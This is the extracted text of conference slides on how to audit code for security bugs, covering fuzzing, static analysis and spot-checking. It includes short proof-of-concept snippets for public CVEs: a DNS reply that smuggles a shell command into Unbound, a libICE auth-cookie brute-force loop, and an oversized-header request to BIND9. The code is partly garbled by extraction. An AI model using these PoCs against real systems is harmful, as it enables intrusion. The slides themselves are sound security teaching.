Unlocking the Labyrinth

Eric Sesterhenn <eric.sesterhenn@x41-dsec.de>



whoami

- Eric Sesterhenn
- Code Auditing at X41
- Working in IT security since 2000



T2'24 2/33


Why this talk?

- Where to start, how to understand the code
- "Auditors Block"
- Watch "OffensiveCon22 Mark Dowd - How Do You Actually Find Bugs?" for the mental aspects



T2'24 3/33

Approaches



T2'24 4/33

Fuzzing

- AFL++, libFuzzer, libAFL...
- Create useful and fast harness
- Use proper grammar, dictionaries, symbolic fuzzing, different sanitiziers...
- Differential fuzzing
- Lots of CPUs

T2'24 5/33

Static Analysis

- Ranges from pattern matching to partial symbolic execution
- joern.io, Semgrep, Cppcheck, CodeQL,...
- Clang Static Analyzer, gcc -fanalyzer, compiler warnings...
- Visual Studio Code Analysis
- Coccinelle

T2'24 6/33

Why does one audit code?

- Maintaining it
- Audit looking for one useful bug
- Audit looking for many bugs
- What is XYZ doing?
- What is my supply chain code doing?

T2'24 7/33

Approaching the code

- Spotchecking
- Top-Down
- Bottom-Up
- Variant Analysis
- Randomly



T2'24 8/33

Tools for Spotchecking

- grep
- Linters: cpplint, uncrustify...
- Static analyzers

T2'24 9/33

Unbound - Spot Check - CVE-2019-18934

```
char str[65535], *s, *tempstring;
2
    . . .
    s = str:
    for(i=0: i<rrset data->count: i++) {
      if(i > 0) { sldns_str_print(&s, &slen, " "); }
6
      /* Ignore the first two bytes, they are the rr_data len. */
      tempdata = rrset_data->rr_data[i] + 2;
8
      tempdata_len = rrset_data->rr_len[i] - 2;
      /* Save the buffer pointers. */
10
      tempstring = s; tempstring_len = slen;
11
      w = sldns_wire2str_ipseckev_scan(&tempdata, &tempdata_len, &s, &slen, NULL, 0);
13
    . . .
14
    sldns_str_print(&s, &slen, "\"");
15
16
    if(system(str) != 0)
                                              T2'24
```

<u>1</u>0/33

Unbound - Spot Check - CVE-2019-18934 - PoC

```
reply = bytearray(b'')
    reply.extend(pack('!H', request.header.id)) # transaction ID
    reply.extend(pack('!H', 0x8580))
                                                # Standard query response, no error
    reply.extend(pack('!H', 1))
                                                # Questions 1
    reply.extend(pack('!H', 1))
                                                # Answer RRs 1
    reply.extend(pack('!H', 0))
                                                # Authority RRs 0
    reply.extend(pack('!H', 0))
                                                # Additional RRs 0
8
    if (request.q.qtype == 45): # IPSECKEY
      # question
10
      reply.extend(b'\x04\x74\x65\x73\x74\x04\x65\x72\x69\x63\x00\x00\x2d\x00\x01')
11
      # est.eric. class IPSECKEY. answer RR
12
      reply.extend(b'\xc0\x00\x00\x00\x00\x00\x00\x00') # name. type. class. TTL
13
      reply.extend(pack('!H', 19)) # length
14
      reply.extend(b'\x03\x03\x03') # gatey precedence, type, algorithm
15
      reply.extend(b'\x0D"||/bin/ls||"\x00\x00') # len and data
16
```

T2'24 11/33

Other Spotchecking Approaches

- Why/How does it do ...
- How would I implement ...
- Whats new? Whats bitrotten?
- What looks overly complex?

T2'24 12 / 33

libICE - Spot Check - CVE-2017-2626

```
IceGenerateMagicCookie (int len) {
              *auth = malloc(len + 1);
2
        char
        long
              ldata[2];
3
        int seed, value, i;
5
        ldata[0] = time ((long *) 0);
6
        ldata[1] = getpid ();
        seed = (ldata[0]) + (ldata[1] << 16);</pre>
8
        srand (seed):
9
        for (i = 0; i < len; i++) {
10
            value = rand ():
11
            auth[i] = value & Oxff;
12
13
        auth[len] = '\0':
14
        return (auth);
15
16
```

T2'24 13/33

libICE - Spot Check - CVE-2017-2626 - PoC

```
file = getconnection(); // local/debianxorq:@/tmp/.ICE-unix/801
1
    asprintf(&ids, "local/debianxorg:0%s", file);
    xgettime(file, &time1, &time2):
    time2 += 5000; // file exists longer than cookie
5
    for (i = 0; i < 10000; i++, time2++) {
      generateCookie(authdata, time1, time2);
      // fill auth ...
8
      authFile = fopen(IceAuthFileName(), "w+");
      IceWriteAuthFileEntry(authFile, &auth);
10
      fclose(authFile):
11
      iceConn = IceOpenConnection(ids, NULL, 0, SmcOpcode, errLength, errStringRet);
12
      if (iceConn)
13
        printf("Using time: %lu %lu\n", time1, time2); exit(0);
14
15
```


T2'24 14/33

How does git sign pushes...

- git can sign commits, but pushes as well!
- Weird Threat Model
 - Imagine two git repositories, one for prod, one for dev
 - Both on the same commit
 - Developer pushes a signed debug commit into dev
 - You can replay that signed commit into prod

T2'24 15/33

Git signed push



T2'24 16/33

Lets go deeper - git signed pushes

- Timestamp + HMAC-SHA1(Secret, Timestamp) -> bruteforce
- HMAC parameters swapped -> allows faster bruteforce
- No hardening checks on the secret, could be same on prod+dev
- NONCE is valid for 5 minutes, not sanity checked by client
- NONCE has seconds granularity, multiple clients might get the same

T2'24 17/33

git - certificate handling

```
int bogs;
bogs = parse_signed_buffer(push_cert.buf, push_cert.len); // returns size_t
sigcheck.payload = xmemdupz(push_cert.buf, bogs);
sigcheck.payload_len = bogs;
check_signature(&sigcheck, push_cert.buf + bogs, push_cert.len - bogs);
```


T2'24 18/33

Tools for Top-Down

- Fuzzers: AFL++, libFuzzer, zzuf...
- Testsuites
- Callgraph viewers
- gdb again!
- Check for: read(), recv()...

T2'24 19/33

Top Down



T2'24 20/33

BIND9 - Top-Down

T2'24 21/33

BIND9 - Top-Down - PoC

```
depth = 100
payload = b'A' * depth

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:

data = b'GET / HTTP/1.1\r\nHost: localhost:8080\r\n'
data = b''.join([data, b'If-Modified-Since: ', payload, b'\r\n'])


data = b''.join([data, b'\r\n'])

s.connect((HOST, PORT))

s.sendall(data)
s.recv(10)
```

T2'24 22 / 33

Bottom Up



T2'24 23 / 33

Tools for Bottom-Up

- vi, grep,...
- Everything that shows reachability
- gdb or Frida to get backtraces from interesting sinks
- Check for: memcpy(), *printf(), malloc()...
- While you are at it, do SAL annotations or cppcheck descriptions

T2'24 24/33

BIND9 - Bottom-Up

T2'24 25/33

BIND9 - Bottom-Up - Coccinelle

T2'24 26/33

Variant analysis

- Bugs tend to cluster
- Programmers tend to repeat bugs
- Code is copy/pasted around, but not fixed everywhere


T2'24 27/33

Variant analysis - tools

- Static Analysis
- Fuzzing
- More manual code analysis

T2'24 28 / 33

Approaches



T2'24 29 / 33

Social Things

- Take a friend!
- Helps getting across roadblocks
- Easier to develop ideas



T2'24 30/33

How I approached eg BIND9

- Static Analyzers first
- Check core functions
- Fuzzing/Extending static analyzers
- Step back for logic bugs

T2'24 31/33

Takeaways / Conclusion

- Dont be afraid!
- Just start somewhere ;-)
- Reading code is work, but rewarding

T2'24 32 / 33

Thanks

- Q&A
- @mumblegrepper@flokinet.social
- eric.sesterhenn@x41-dsec.de

T2'24 33/33